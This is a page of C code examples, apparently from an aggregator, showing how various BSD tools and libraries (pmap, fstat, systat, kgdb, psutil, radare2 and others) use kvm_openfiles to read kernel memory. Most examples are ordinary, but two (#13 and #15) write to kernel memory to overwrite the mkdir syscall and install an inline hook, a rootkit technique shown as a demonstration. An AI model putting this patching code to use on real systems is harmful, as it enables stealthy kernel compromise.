	struct kbit kbit, *vmspace;
	u_long address;

	egid = getegid();
	if (setegid(getgid()) == -1)
		err(1, "failed to reset privileges");

	check_fd(STDIN_FILENO);
	check_fd(STDOUT_FILENO);
	check_fd(STDERR_FILENO);

	pid = -1;
	which = verbose = debug = 0;
	print_all = print_map = print_maps = print_solaris = print_ddb = 0;
	recurse = 0;
	kmem = kernel = NULL;
	address = 0;
	vmspace = &kbit;

	while ((ch = getopt(argc, argv, "A:aD:dE:lM:mN:Pp:RrS:sV:vx")) != -1) {
		switch (ch) {
		case 'A':
		case 'E':
		case 'S':
		case 'V':
			if (which != 0)
				errx(1, "use only one of -A, -E, -S, or -V");
			errno = 0;
			address = strtoul(optarg, &t, 0);
			if (*t != '\0')
				errx(1, "%s is not a valid address", optarg);
			if (errno != 0)
				err(1, "%s is not a valid address", optarg);
			switch (ch) {
			case 'A':	which = AMAP_ADDRESS;		break;
			case 'E':	which = VM_MAP_ENTRY_ADDRESS;	break;
			case 'S':	which = VMSPACE_ADDRESS;	break;
			case 'V':	which = VM_MAP_ADDRESS;		break;
			}
			break;
		case 'a':
			print_all = 1;
			break;
		case 'd':
			print_ddb = 1;
			break;
		case 'D':
			errno = 0;
			debug = strtoul(optarg, &t, 0);
			if (*t != '\0')
				errx(1, "%s is not a valid number", optarg);
			if (errno != 0)
				err(1, "%s is not a valid number", optarg);
			break;
		case 'l':
			print_maps = 1;
			break;
		case 'm':
			print_map = 1;
			break;
		case 'M':
			kmem = optarg;
			break;
		case 'N':
			kernel = optarg;
			break;
		case 'p':
			errno = 0;
			pid = strtol(optarg, &t, 0);
			if (pid < 0)
				errno = EINVAL;
			if (*t != '\0')
				errx(1, "%s is not a valid pid", optarg);
			if (errno != 0)
				err(1, "%s is not a valid pid", optarg);
			break;
		case 'P':
			pid = getpid();
			break;
		case 'R':
			recurse = 1;
			break;
		case 's':
			print_solaris = 1;
			break;
		case 'v':
			verbose++;
			break;
		case 'r':
		case 'x':
			errx(1, "-%c option not implemented, sorry", optopt);
			/*NOTREACHED*/
		case '?':
		default:
			fprintf(stderr, "usage: %s [-adlmPRsv] [-A address] "
				"[-D number] [-E address] [-M core]\n"
				"\t[-N system] [-p pid] [-S address] "
				"[-V address] [pid ...]\n",
				getprogname());
			exit(1);
		}
	}
	argc -= optind;
	argv += optind;

	/* more than one "process" to dump? */
	many = (argc > 1 - (pid == -1 ? 0 : 1)) ? 1 : 0;

	/* apply default */
	if (print_all + print_map + print_maps + print_solaris +
	    print_ddb == 0)
		print_solaris = 1;

	/* get privs back if it appears to be safe, otherwise toss them */
	if (kernel == NULL && kmem == NULL && address == 0)
		rc = setegid(egid);
	else
		rc = setgid(getgid());
	if (rc == -1)
		err(1, "failed to reset privileges");

	/* start by opening libkvm */
	kd = kvm_openfiles(kernel, kmem, NULL, O_RDONLY, errbuf);

	/* we're completely done with privileges now */
	rc = setgid(getgid());
	if (rc == -1)
		err(1, "failed to reset privileges");

	/* print the kvm_open error, if any */
	errbuf[_POSIX2_LINE_MAX] = '\0';
	if (kd == NULL)
		errx(1, "%s", errbuf);

	/* get "bootstrap" addresses from kernel */
	load_symbols(kd);

	if (address) {
		struct kbit kbit2, *at = &kbit2;

		memset(vmspace, 0, sizeof(*vmspace));
		A(at) = address;
		S(at) = (size_t)-1;

		switch (which) {
		    case VMSPACE_ADDRESS:
			/* (kd, kproc, vmspace, thing) */
			(*process_map)(kd, NULL, at, "vm_map");
			break;
		    case VM_MAP_ADDRESS:
			/* (kd, proc, vmspace, vm_map, thing) */
			(*dump_vm_map)(kd, NULL, vmspace, at, "vm_map");
			break;
		    case VM_MAP_ENTRY_ADDRESS:
			/* (kd, proc, vmspace, vm_map_entry, 0) */
			(*dump_vm_map_entry)(kd, NULL, vmspace, at, 0);
			break;
		    case AMAP_ADDRESS:
			/* (kd, amap) */
			(*dump_amap)(kd, at);
			break;
		}
		exit(0);
	}

	uid = getuid();

	do {
		if (pid == -1) {
			if (argc == 0)
				pid = getppid();
			else {
				errno = 0;
				pid = strtol(argv[0], &t, 0);
				if (pid < 0)
					errno = EINVAL;
				if (*t != '\0')
					errx(1, "%s is not a valid pid",
					    argv[0]);
				if (errno != 0)
					err(1, "%s is not a valid pid",
					    argv[0]);
				argv++;
				argc--;
			}
		}

		errno = 0;
		/* find the process id */
		if (pid == 0) {
			kproc = NULL;
			if (uid != 0) {
				/* only root can print kernel mappings */
				errno = EPERM;
			}
		} else {
			kproc = kvm_getproc2(kd, KERN_PROC_PID, pid,
			    sizeof(struct kinfo_proc2), &rc);
			if (kproc == NULL || rc == 0) {
				errno = ESRCH;
			} else if (uid != 0 && uid != kproc->p_uid) {
				/*
				 * only the real owner of the process and
				 * root can print process mappings
				 */
				errno = EPERM;
			}
		}

		if (errno != 0) {
			warn("%d", pid);
			pid = -1;
			continue;
		}

		/* dump it */
		if (many) {
			if (kproc != NULL)
				printf("process %d:\n", kproc->p_pid);
			else
				printf("kernel:\n");
		}

		(*process_map)(kd, kproc, vmspace, NULL);
		pid = -1;
	} while (argc > 0);

	/* done.  go away. */
	rc = kvm_close(kd);
	if (rc == -1)
		err(1, "kvm_close");

	return (0);
}
Beispiel #7
0
/**
 * Read all processes to initialize the information tree.
 * @param reference  reference of ProcessTree
 * @return treesize > 0 if succeeded otherwise = 0.
 */
int initprocesstree_sysdep(ProcessTree_T **reference) {
  int                        i;
  int                        treesize;
  char                       buf[_POSIX2_LINE_MAX];
  size_t                     size = sizeof(maxslp);
  int                        mib_proc2[6] = {CTL_KERN, KERN_PROC2, KERN_PROC_KTHREAD, 0, sizeof(struct kinfo_proc2), 0};
  static int                 mib_maxslp[] = {CTL_VM, VM_MAXSLP};
  ProcessTree_T             *pt;
  kvm_t                     *kvm_handle;
  static struct kinfo_proc2 *pinfo;

  if (sysctl(mib_maxslp, 2, &maxslp, &size, NULL, 0) < 0) {
    LogError("system statistic error -- vm.maxslp failed");
    return FALSE;
  }

  if (sysctl(mib_proc2, 6, NULL, &size, NULL, 0) == -1) {
    LogError("system statistic error -- kern.proc2 #1 failed");
    return FALSE;
  }

  size *= 2; // Add reserve for new processes which were created between calls of sysctl
  pinfo = xcalloc(1, size);
  mib_proc2[5] = (int)(size / sizeof(struct kinfo_proc2));
  if (sysctl(mib_proc2, 6, pinfo, &size, NULL, 0) == -1) {
    FREE(pinfo);
    LogError("system statistic error -- kern.proc2 #2 failed");
    return FALSE;
  }

  treesize = (int)(size / sizeof(struct kinfo_proc2));

  pt = xcalloc(sizeof(ProcessTree_T), treesize);

  if (! (kvm_handle = kvm_openfiles(NULL, NULL, NULL, KVM_NO_FILES, buf))) {
    LogError("system statistic error -- kvm_openfiles failed: %s", buf);
    return FALSE;
  }

  for (i = 0; i < treesize; i++) {
    int        j;
    char     **args;
    Buffer_T   cmdline;

    pt[i].pid         = pinfo[i].p_pid;
    pt[i].ppid        = pinfo[i].p_ppid;
    pt[i].starttime   = pinfo[i].p_ustart_sec;
    pt[i].cputime     = (long)((pinfo[i].p_rtime_sec * 10) + (pinfo[i].p_rtime_usec / 100000));
    pt[i].cpu_percent = 0;
    pt[i].mem_kbyte   = (unsigned long)(pinfo[i].p_vm_rssize * pagesize_kbyte);
    if (pinfo[i].p_stat == SZOMB)
      pt[i].status_flag |= PROCESS_ZOMBIE; //FIXME: save system service flag too (kernel threads)
    pt[i].time = get_float_time();

    memset(&cmdline, 0, sizeof(Buffer_T));
    if ((args = kvm_getargv2(kvm_handle, &pinfo[i], 0))) {
      for (j = 0; args[j]; j++)
        Util_stringbuffer(&cmdline, args[j + 1] ? "%s " : "%s", args[j]);
      pt[i].cmdline = cmdline.buf;
    }
    if (! pt[i].cmdline || ! *pt[i].cmdline)
      pt[i].cmdline = xstrdup(pinfo[i].p_comm);
  }
  FREE(pinfo);
  kvm_close(kvm_handle);

  *reference = pt;

  return treesize;
}
Beispiel #8
0
int
main(int argc, char *argv[])
{
	char errbuf[_POSIX2_LINE_MAX];
	extern char *optarg;
	extern int optind;
	double delay = 5;

	char *viewstr = NULL;

	gid_t gid;
	int countmax = 0;
	int maxlines = 0;

	int ch;

	ut = open(_PATH_UTMP, O_RDONLY);
	if (ut < 0) {
		warn("No utmp");
	}

	kd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, errbuf);

	gid = getgid();
	if (setresgid(gid, gid, gid) == -1)
		err(1, "setresgid");

	while ((ch = getopt(argc, argv, "Nabd:ins:w:")) != -1) {
		switch (ch) {
		case 'a':
			maxlines = -1;
			break;
		case 'b':
			rawmode = 1;
			interactive = 0;
			break;
		case 'd':
			countmax = atoi(optarg);
			if (countmax < 0)
				countmax = 0;
			break;
		case 'i':
			interactive = 1;
			break;
		case 'N':
			nflag = 0;
			break;
		case 'n':
			/* this is a noop, -n is the default */
			nflag = 1;
			break;
		case 's':
			delay = atof(optarg);
			if (delay <= 0)
				delay = 5;
			break;
		case 'w':
			rawwidth = atoi(optarg);
			if (rawwidth < 1)
				rawwidth = DEFAULT_WIDTH;
			if (rawwidth >= MAX_LINE_BUF)
				rawwidth = MAX_LINE_BUF - 1;
			break;
		default:
			usage();
			/* NOTREACHED */
		}
	}

	if (kd == NULL)
		warnx("kvm_openfiles: %s", errbuf);

	argc -= optind;
	argv += optind;

	if (argc == 1) {
		double del = atof(argv[0]);
		if (del == 0)
			viewstr = argv[0];
		else
			delay = del;
	} else if (argc == 2) {
		viewstr = argv[0];
		delay = atof(argv[1]);
		if (delay <= 0)
			delay = 5;
	}

	udelay = (useconds_t)(delay * 1000000.0);
	if (udelay < 1)
		udelay = 1;

	naptime = (double)udelay / 1000000.0;

	gethostname(hostname, sizeof (hostname));
	gethz();

	initialize();

	set_order(NULL);
	if (viewstr && set_view(viewstr)) {
		fprintf(stderr, "Unknown/ambiguous view name: %s\n", viewstr);
		return 1;
	}

	if (check_termcap()) {
		rawmode = 1;
		interactive = 0;
	}

	setup_term(maxlines);

	if (rawmode && countmax == 0)
		countmax = 1;

	gotsig_alarm = 1;

	engine_loop(countmax);

	return 0;
}
Beispiel #9
0
static void
kgdb_trgt_open(char *filename, int from_tty)
{
	struct cleanup *old_chain;
	struct thread_info *ti;
	struct kthr *kt;
	kvm_t *nkvm;
	char *temp;
	int ontop;

	target_preopen (from_tty);
	if (!filename)
		error ("No vmcore file specified.");
	if (!exec_bfd)
		error ("Can't open a vmcore without a kernel");

	filename = tilde_expand (filename);
	if (filename[0] != '/') {
		temp = concat (current_directory, "/", filename, NULL);
		xfree(filename);
		filename = temp;
	}

	old_chain = make_cleanup (xfree, filename);

	nkvm = kvm_openfiles(bfd_get_filename(exec_bfd), filename, NULL,
	    write_files ? O_RDWR : O_RDONLY, kvm_err);
	if (nkvm == NULL)
		error ("Failed to open vmcore: %s", kvm_err);

	/* Don't free the filename now and close any previous vmcore. */
	discard_cleanups(old_chain);
	unpush_target(&kgdb_trgt_ops);

	kvm = nkvm;
	vmcore = filename;
	old_chain = make_cleanup(kgdb_core_cleanup, NULL);

	ontop = !push_target (&kgdb_trgt_ops);
	discard_cleanups (old_chain);

	kgdb_dmesg();

	init_thread_list();
	kt = kgdb_thr_init();
	while (kt != NULL) {
		ti = add_thread(pid_to_ptid(kt->tid));
		kt = kgdb_thr_next(kt);
	}
	if (curkthr != 0)
		inferior_ptid = pid_to_ptid(curkthr->tid);

	if (ontop) {
		/* XXX: fetch registers? */
		kld_init();
		flush_cached_frames();
		select_frame (get_current_frame());
		print_stack_frame(get_selected_frame(),
		    frame_relative_level(get_selected_frame()), 1);
	} else
		warning(
	"you won't be able to access this vmcore until you terminate\n\
your %s; do ``info files''", target_longname);
}
Beispiel #10
0
int
main(int argc, char *argv[])
{
	extern char *optarg;
	extern int optind;
	struct passwd *passwd;
	struct kinfo_proc2 *p, *plast;
	int arg, ch, what;
	char *memf, *nlistf;
	char buf[_POSIX2_LINE_MAX];
	int cnt;

	arg = 0;
	what = KERN_PROC_ALL;
	nlistf = memf = NULL;
	oflg = 0;
	while ((ch = getopt(argc, argv, "fnop:u:vN:M:")) != -1)
		switch((char)ch) {
		case 'f':
			fsflg = 1;
			break;
		case 'M':
			memf = optarg;
			break;
		case 'N':
			nlistf = optarg;
			break;
		case 'n':
			nflg = 1;
			break;
		case 'o':
			oflg = 1;
			break;
		case 'p':
			if (pflg++)
				usage();
			if (!isdigit(*optarg)) {
				warnx( "-p requires a process id");
				usage();
			}
			what = KERN_PROC_PID;
			arg = atoi(optarg);
			break;
		case 'u':
			if (uflg++)
				usage();
			if (!(passwd = getpwnam(optarg)))
				errx(1, "%s: unknown uid", optarg);
			what = KERN_PROC_UID;
			arg = passwd->pw_uid;
			break;
		case 'v':
			vflg = 1;
			break;
		default:
			usage();
		}

	/*
	 * Discard setgid privileges if not the running kernel so that bad
	 * guys can't print interesting stuff from kernel memory.
	 */
	if (nlistf != NULL || memf != NULL) {
		setegid(getgid());
		setgid(getgid());
	}

	if ((kd = kvm_openfiles(nlistf, memf, NULL, O_RDONLY, buf)) == NULL)
		errx(1, "%s", buf);

	setegid(getgid());
	setgid(getgid());

	if (*(argv += optind)) {
		for (; *argv; ++argv) {
			if (getfname(*argv))
				checkfile = 1;
		}
		if (!checkfile)	/* file(s) specified, but none accessible */
			exit(1);
	}

	ALLOC_OFILES(256);	/* reserve space for file pointers */

	if (fsflg && !checkfile) {
		/* -f with no files means use wd */
		if (getfname(".") == 0)
			exit(1);
		checkfile = 1;
	}

	if ((p = kvm_getproc2(kd, what, arg, sizeof(*p), &cnt)) == NULL)
		errx(1, "%s", kvm_geterr(kd));
	if (nflg)
		printf("%s",
"USER     CMD          PID   FD  DEV    INUM       MODE R/W    DV|SZ");
	else
		printf("%s",
"USER     CMD          PID   FD MOUNT      INUM MODE       R/W    DV|SZ");
	if (oflg)
		printf("%s", ":OFFSET  ");
	if (checkfile && fsflg == 0)
		printf(" NAME\n");
	else
		putchar('\n');

	for (plast = &p[cnt]; p < plast; ++p) {
		if (p->p_stat == SZOMB)
			continue;
		dofiles(p);
	}
	exit(0);
}
Beispiel #11
0
static RList *r_debug_native_pids (int pid) {
	RList *list = r_list_new ();
	if (!list) return NULL;
#if __WINDOWS__ && !__CYGWIN__
	return w32_pids (pid, list);
#elif __APPLE__
	if (pid) {
		RDebugPid *p = xnu_get_pid (pid);
		if (p) r_list_append (list, p);
	} else {
		int i;
		for (i = 1; i < MAXPID; i++) {
			RDebugPid *p = xnu_get_pid (i);
			if (p) r_list_append (list, p);
		}
	}
#elif __linux__
	int i;
	char *ptr, buf[1024];

	list->free = (RListFree)&r_debug_pid_free;
	if (pid) {
		DIR *dh;
		struct dirent *de;

		/* add the requested pid. should we do this? we don't even know if it's valid still.. */
		r_list_append (list, r_debug_pid_new ("(current)", pid, 's', 0));

		/* list parents */
		dh = opendir ("/proc");
		if (dh == NULL) {
			r_sys_perror ("opendir /proc");
			r_list_free (list);
			return NULL;
		}
		while ((de = readdir (dh))) {
			/* for each existing pid file... */
			i = atoi (de->d_name);
			if (i <= 0) {
				continue;
			}

			/* try to read the status */
			buf[0] = 0;
			if (procfs_pid_slurp (i, "status", buf, sizeof (buf)) == -1) {
				continue;
			}
			buf[sizeof (buf) - 1] = 0;

			/* look for the parent process id */
			ptr = strstr (buf, "PPid:");
			if (ptr) {
				int ppid = atoi (ptr + 6);

				/* if this is the requested process... */
				if (i == pid) {
					//eprintf ("PPid: %d\n", ppid);
					/* append it to the list with parent */
					r_list_append (list, r_debug_pid_new (
						"(ppid)", ppid, 's', 0));
				}

				/* ignore it if it is not one of our children */
				if (ppid != pid) {
					continue;
				}

				/* it's a child of the requested pid, read it's command line and add it */
				if (procfs_pid_slurp (ppid, "cmdline", buf, sizeof(buf)) == -1) {
					continue;
				}

				r_list_append (list, r_debug_pid_new (buf, i, 's', 0));
			}
		}
		closedir (dh);
	} else {
		/* try to bruteforce the processes
		 * XXX(jjd): wouldn't listing the processes like before work better?
		 */
		for (i = 2; i < MAXPID; i++) {
			/* try to send signal 0, if it fails it must not be valid */
			if (r_sandbox_kill (i, 0) == -1)
				continue;

			if (procfs_pid_slurp (i, "cmdline", buf, sizeof(buf)) == -1)
				continue;

			r_list_append (list, r_debug_pid_new (buf, i, 's', 0));
		}
	}
#else /* rest is BSD */
#ifdef __NetBSD__
# define KVM_OPEN_FLAG KVM_NO_FILES
# define KVM_GETPROCS(kd, opt, arg, cntptr) \
	kvm_getproc2 (kd, opt, arg, sizeof(struct kinfo_proc2), cntptr)
# define KP_COMM(x) (x)->p_comm
# define KP_PID(x) (x)->p_pid
# define KP_PPID(x) (x)->p_ppid
# define KINFO_PROC kinfo_proc2
#elif defined(__OpenBSD__)
# define KVM_OPEN_FLAG KVM_NO_FILES
# define KVM_GETPROCS(kd, opt, arg, cntptr) \
	kvm_getprocs (kd, opt, arg, sizeof(struct kinfo_proc), cntptr)
# define KP_COMM(x) (x)->p_comm
# define KP_PID(x) (x)->p_pid
# define KP_PPID(x) (x)->p_ppid
# define KINFO_PROC kinfo_proc
#else
# define KVM_OPEN_FLAG O_RDONLY
# define KVM_GETPROCS(kd, opt, arg, cntptr) \
	kvm_getprocs (kd, opt, arg, cntptr)
# define KP_COMM(x) (x)->ki_comm
# define KP_PID(x) (x)->ki_pid
# define KP_PPID(x) (x)->ki_ppid
# define KINFO_PROC kinfo_proc
#endif
	char errbuf[_POSIX2_LINE_MAX];
	struct KINFO_PROC* kp;
	int cnt = 0;
	kvm_t* kd = kvm_openfiles (NULL, NULL, NULL, KVM_OPEN_FLAG, errbuf);
	if (!kd) {
		eprintf ("kvm_openfiles says %s\n", errbuf);
		return NULL;
	}

	if (pid) {
		kp = KVM_GETPROCS (kd, KERN_PROC_PID, pid, &cnt);
		if (cnt == 1) {
			RDebugPid *p = r_debug_pid_new (KP_COMM(kp), pid, 's', 0);
			if (p) r_list_append (list, p);
			/* we got our process, now fetch the parent process */
			kp = KVM_GETPROCS (kd, KERN_PROC_PID, KP_PPID(kp), &cnt);
                        if (cnt == 1) {
				RDebugPid *p = r_debug_pid_new (KP_COMM(kp), KP_PID(kp), 's', 0);
				if (p) r_list_append (list, p);
			}
		}
	} else {
		kp = KVM_GETPROCS (kd, KERN_PROC_UID, geteuid(), &cnt);
		int i;
		for (i = 0; i < cnt; i++) {
			RDebugPid *p = r_debug_pid_new (KP_COMM(kp + i), KP_PID(kp + i), 's', 0);
			if (p) r_list_append (list, p);
		}
	}
	kvm_close(kd);
#endif
	return list;
}
Beispiel #12
0
static int kvm_open_driver(struct ifstat_driver *driver,
			   char *options) {
  struct kvm_driver_data *data;
  struct nlist kvm_syms[2];
  unsigned long ifnetaddr;
  char *files[3] = { NULL /* execfile */,
		     NULL /* corefile */,
		     NULL /* swapfile */ };
  int i;
  
  if ((data = malloc(sizeof(struct kvm_driver_data))) == NULL) {
    ifstat_perror("malloc");
    return 0;
  }
  data->errbuf[0] = '\0';

  /* cut options : [execfile][,[corefile][,[swapfile]]] */
  i = 0;
  while (options != NULL && i < 3) {
    char *v = strchr(options, ',');

    if (v != NULL)
      *v++ = '\0';
    if (*options != '\0')
      files[i] = options;
    i++;
    options = v;
  }

  if ((data->kvmfd = kvm_openfiles(files[0], files[1], files[2],
				   O_RDONLY, data->errbuf)) == NULL) {
    ifstat_error("kvm_openfiles: %s", data->errbuf);
    return 0;
  }

  memset(&kvm_syms, 0, sizeof(kvm_syms));
  kvm_syms[0].n_name = "_ifnet";
  if (kvm_nlist(data->kvmfd, kvm_syms) < 0 ||
      kvm_syms[0].n_value == 0) {
    kvm_syms[0].n_name = "ifnet";
    if (kvm_nlist(data->kvmfd, kvm_syms) < 0) {
      ifstat_error("kvm_nlist: %s", data->errbuf);
      return 0;
    }
  }
  
  if (kvm_syms[0].n_value == 0) {
    ifstat_error("kvm: no _ifnet or ifnet symbol found");
    return 0;
  }
  
  if (kvm_read(data->kvmfd, (unsigned long) kvm_syms[0].n_value,
	       &ifnetaddr, sizeof(ifnetaddr)) < 0) {
    ifstat_error("kvm_read(ifnetaddr): %s", data->errbuf);
    return 0;
  }
  
  if (ifnetaddr == 0) {
    ifstat_error("kvm: ifnetaddr has null address.");
    return 0;
  }
  
  data->ifnetaddr = ifnetaddr;

  driver->data = (void *) data;
  return 1;
}
Beispiel #13
0
int main(int argc, char **argv)
{
    int i;
    char errbuf[_POSIX2_LINE_MAX];
    kvm_t *kd;
    struct nlist n1[5] = {};
    unsigned char mkdir_code[sizeof(kmalloc)];
    unsigned long addr;

    if (argc != 2) {
        printf("Usage:\n%s <size>\n", argv[0]);
        exit(1);
    }

    kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
    if (!kd) {
        fprintf(stderr, "ERROR: %s\n", errbuf);
        exit(1);
    }

    n1[0].n_name = "mkdir";
    n1[1].n_name = "M_TEMP";
    n1[2].n_name = "malloc";
    n1[3].n_name = "copyout";

    if (kvm_nlist(kd, n1) < 0) {
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(1);
    }

    for (i = 0; i < 4; ++i) {
        if (!n1[i].n_value) {
            fprintf(stderr, "ERROR: Symbol %s not found.\n", n1[i].n_name);
            exit(1);
        }
    }

    *(unsigned long *)&kmalloc[10] = n1[1].n_value;
    *(unsigned long *)&kmalloc[34] = n1[2].n_value
        - (n1[0].n_value + KMALLOC_CALL_OFFSET_1);
    *(unsigned long *)&kmalloc[64] = n1[3].n_value
        - (n1[0].n_value + KMALLOC_CALL_OFFSET_2);

    if (kvm_read(kd, n1[0].n_value, mkdir_code, sizeof(mkdir_code)) < 0) {
        fprintf(stderr, "ERROR: %s\n.", kvm_geterr(kd));
        exit(1);
    }

    if (kvm_write(kd, n1[0].n_value, kmalloc, sizeof(kmalloc)) < 0) {
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(1);
    }

    syscall(136, (unsigned long)atoi(argv[1]), &addr);
    printf("Address of allocated kernel memory: 0x%x\n", addr);

    if (kvm_write(kd, n1[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(1);
    }

    if (kvm_close(kd) < 0) {
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(1);
    }

    exit(0);
}
Beispiel #14
0
PyObject *
psutil_proc_threads(PyObject *self, PyObject *args) {
    // OpenBSD reference:
    // https://github.com/janmojzis/pstree/blob/master/proc_kvm.c
    // Note: this requires root access, else it will fail trying
    // to access /dev/kmem.
    long pid;
    kvm_t *kd = NULL;
    int nentries, i;
    char errbuf[4096];
    struct kinfo_proc *kp;
    PyObject *py_retlist = PyList_New(0);
    PyObject *py_tuple = NULL;

    if (py_retlist == NULL)
        return NULL;
    if (! PyArg_ParseTuple(args, "l", &pid))
        goto error;

    kd = kvm_openfiles(0, 0, 0, O_RDONLY, errbuf);
    if (! kd) {
        if (strstr(errbuf, "Permission denied") != NULL)
            AccessDenied();
        else
            PyErr_Format(PyExc_RuntimeError, "kvm_openfiles() failed");
        goto error;
    }

    kp = kvm_getprocs(
        kd, KERN_PROC_PID | KERN_PROC_SHOW_THREADS | KERN_PROC_KTHREAD, pid,
        sizeof(*kp), &nentries);
    if (! kp) {
        if (strstr(errbuf, "Permission denied") != NULL)
            AccessDenied();
        else
            PyErr_Format(PyExc_RuntimeError, "kvm_getprocs() failed");
        goto error;
    }

    for (i = 0; i < nentries; i++) {
        if (kp[i].p_tid < 0)
            continue;
        if (kp[i].p_pid == pid) {
            py_tuple = Py_BuildValue(
                "Idd",
                kp[i].p_tid,
                PSUTIL_KPT2DOUBLE(kp[i].p_uutime),
                PSUTIL_KPT2DOUBLE(kp[i].p_ustime));
            if (py_tuple == NULL)
                goto error;
            if (PyList_Append(py_retlist, py_tuple))
                goto error;
            Py_DECREF(py_tuple);
        }
    }

    kvm_close(kd);
    return py_retlist;

error:
    Py_XDECREF(py_tuple);
    Py_DECREF(py_retlist);
    if (kd != NULL)
        kvm_close(kd);
    return NULL;
}
Beispiel #15
0
int
main(int argc, char *argv[])
{
	int i, call_offset;
	char errbuf[_POSIX2_LINE_MAX];
	kvm_t *kd;
	struct nlist nl[] = { {NULL}, {NULL}, {NULL}, {NULL}, {NULL},
	    {NULL}, };
	unsigned char mkdir_code[sizeof(kmalloc)];
	unsigned long addr, size;

	/* Initialize kernel virtual memory access. */
	kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
	if (kd == NULL) {
		fprintf(stderr, "ERROR: %s\n", errbuf);
		exit(-1);
	}

	nl[0].n_name = "mkdir";
	nl[1].n_name = "M_TEMP";
	nl[2].n_name = "malloc";
	nl[3].n_name = "copyout";
	nl[4].n_name = "uprintf";

	/*
	 * Find the address of mkdir, M_TEMP, malloc, copyout,
	 * and uprintf.
	 */
	if (kvm_nlist(kd, nl) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	for (i = 0; i < 5; i++) {
		if (!nl[i].n_value) {
			fprintf(stderr, "ERROR: Symbol %s not found\n",
			    nl[i].n_name);
			exit(-1);
		}
	}

	/* Save sizeof(kmalloc) bytes of mkdir. */
	if (kvm_read(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/* Search through mkdir for call kern_mkdir. */
	for (i = 0; i < sizeof(kmalloc); i++) {
		if (mkdir_code[i] == 0xe8) {
			call_offset = i;
			break;
		}
	}

	/* Determine how much memory you need to allocate. */
	size = (unsigned long)sizeof(hello) + (unsigned long)call_offset +
	    (unsigned long)sizeof(jump);

	/*
	 * Patch the kmalloc function code to contain the correct addresses
	 * for M_TEMP, malloc, and copyout.
	 */
	*(unsigned long *)&kmalloc[10] = nl[1].n_value;
	*(unsigned long *)&kmalloc[34] = nl[2].n_value -
	    (nl[0].n_value + K_OFFSET_1);
	*(unsigned long *)&kmalloc[64] = nl[3].n_value -
	    (nl[0].n_value + K_OFFSET_2);

	/* Overwrite mkdir with kmalloc. */
	if (kvm_write(kd, nl[0].n_value, kmalloc, sizeof(kmalloc)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/* Allocate kernel memory. */
	syscall(136, size, &addr);

	/* Restore mkdir. */
	if (kvm_write(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/*
	 * Patch the "Hello, world!\n" function code to contain the
	 * correct addresses for the "Hello, world!\n" string and uprintf.
	 */
	*(unsigned long *)&hello[24] = addr;
	*(unsigned long *)&hello[29] = nl[4].n_value - (addr + H_OFFSET_1);

	/*
	 * Place the "Hello, world!\n" function code into the recently
	 * allocated kernel memory.
	 */
	if (kvm_write(kd, addr, hello, sizeof(hello)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/*
	 * Place all the mkdir code up to but not including call kern_mkdir
	 * after the "Hello, world!\n" function code.
	 */
	if (kvm_write(kd, addr + (unsigned long)sizeof(hello) - 1,
	    mkdir_code, call_offset) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/*
	 * Patch the unconditional jump code to jump back to the call
	 * kern_mkdir statement within mkdir.
	 */
	*(unsigned long *)&jump[1] = nl[0].n_value +
	    (unsigned long)call_offset;

	/*
	 * Place the unconditional jump code into the recently allocated
	 * kernel memory, after the mkdir code.
	 */
	if (kvm_write(kd, addr + (unsigned long)sizeof(hello) - 1 +
	    (unsigned long)call_offset, jump, sizeof(jump)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/*
	 * Patch the unconditional jump code to jump to the start of the
	 * "Hello, world!\n" function code.
	 */
	*(unsigned long *)&jump[1] = addr + 0x0f;

	/*
	 * Overwrite the beginning of mkdir with the unconditional
	 * jump code.
	 */
	if (kvm_write(kd, nl[0].n_value, jump, sizeof(jump)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/* Close kd. */
	if (kvm_close(kd) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	exit(0);
}
Beispiel #16
0
int
main(int argc, char *argv[])
{
	int ch, quit, ret;
	int fileflag, ttyflag;
	unsigned int i;
	char buf[_POSIX2_LINE_MAX];
	const char *opts;

	fileflag = swapflag = ttyflag = 0;

	/* We will behave like good old swapinfo if thus invoked */
	opts = strrchr(argv[0], '/');
	if (opts)
		opts++;
	else
		opts = argv[0];
	if (!strcmp(opts, "swapinfo")) {
		swapflag = 1;
		opts = "ghkmM:N:";
		usagestr = "swapinfo [-ghkm] [-M core [-N system]]";
	} else {
		opts = "TM:N:fghkmnst";
		usagestr = "pstat [-Tfghkmnst] [-M core [-N system]]";
	}

	while ((ch = getopt(argc, argv, opts)) != -1)
		switch (ch) {
		case 'f':
			fileflag = 1;
			break;
		case 'g':
			setenv("BLOCKSIZE", "1G", 1);
			break;
		case 'h':
			humanflag = 1;
			break;
		case 'k':
			setenv("BLOCKSIZE", "1K", 1);
			break;
		case 'm':
			setenv("BLOCKSIZE", "1M", 1);
			break;
		case 'M':
			memf = optarg;
			break;
		case 'N':
			nlistf = optarg;
			break;
		case 'n':
			usenumflag = 1;
			break;
		case 's':
			++swapflag;
			break;
		case 'T':
			totalflag = 1;
			break;
		case 't':
			ttyflag = 1;
			break;
		default:
			usage();
		}

	/*
	 * Initialize symbol names list.
	 */
	for (i = 0; i < NNAMES; i++)
		nl[namelist[i].order].n_name = strdup(namelist[i].name);

	if (memf != NULL) {
